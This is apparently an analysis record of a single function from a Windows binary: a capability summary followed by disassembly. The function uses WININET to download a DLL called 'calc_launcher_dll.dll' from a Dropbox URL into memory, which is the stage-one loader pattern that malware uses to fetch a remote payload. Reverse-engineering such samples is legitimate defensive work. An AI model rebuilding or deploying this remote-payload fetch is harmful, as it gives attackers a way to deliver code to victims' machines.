Function at 0x402880
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bfed
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
mov eax, dword [0x439080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Starting_download_of_DLL.
lea ecx, [ebp - 0x28]
call fcn.00405c70
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00406b50
nop
push 0
push 0
push 0
push 1
push str.Mozilla_5.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jne 0x402934
push str.Internet_handle_creation_failed.
lea ecx, [ebp - 0x40]
call fcn.00405c70
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x40]
push ecx
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00406b50
nop
xor al, al
jmp 0x402b29
push 0
push 0x80000000
push 0
push 0
push str.https:__www.dropbox.com_scl_fi_waqjw6faqp0pxusrfv3og_calc_launcher_dll.dll_rlkeyjjpet2xduhrl622wjqrwj6rm0styr0visjjdl1
mov edx, dword [ebp - 0xa4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x4029a4
push str.Internet_open_URL_failed.
lea ecx, [ebp - 0x58]
call fcn.00405c70
mov dword [ebp - 4], 2
lea eax, [ebp - 0x58]
push eax
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00406b50
nop
mov ecx, dword [ebp - 0xa4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x402b29
mov dword [ebp - 0xb0], 0x100000
mov edx, dword [ebp - 0xb0]
push edx
lea eax, [ebp - 0xb8]
push eax
call fcn.004051a0
add esp, 8
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004030b0
lea ecx, [ebp - 0xb8]
call fcn.00406c10
nop
mov ecx, dword [ebp + 8]
call fcn.00407340
movzx edx, al
test edx, edx
jne 0x402a45
push str.Memory_allocation_for_DLL_download_failed.
lea ecx, [ebp - 0x70]
call fcn.00405c70
mov dword [ebp - 4], 3
lea eax, [ebp - 0x70]
push eax
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.00406b50
nop
mov ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0xa4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x402b29
mov dword [ebp - 0xac], 0
lea eax, [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00409c30
push eax
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0xa4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
nop
cmp dword [ebp - 0xbc], 0
je 0x402ab1
cmp dword [ebp - 0xac], 0
jne 0x402aee
push str.DLL_download_failed_or_returned_no_data.
lea ecx, [ebp - 0x88]
call fcn.00405c70
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x88]
push ecx
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x88]
call fcn.00406b50
nop
xor al, al
jmp 0x402b29
push str.DLL_download_successful.
lea ecx, [ebp - 0xa0]
call fcn.00405c70
mov dword [ebp - 4], 5
lea edx, [ebp - 0xa0]
push edx
call fcn.00402580
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0]
call fcn.00406b50
nop
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040dcb5
mov esp, ebp
pop ebp
ret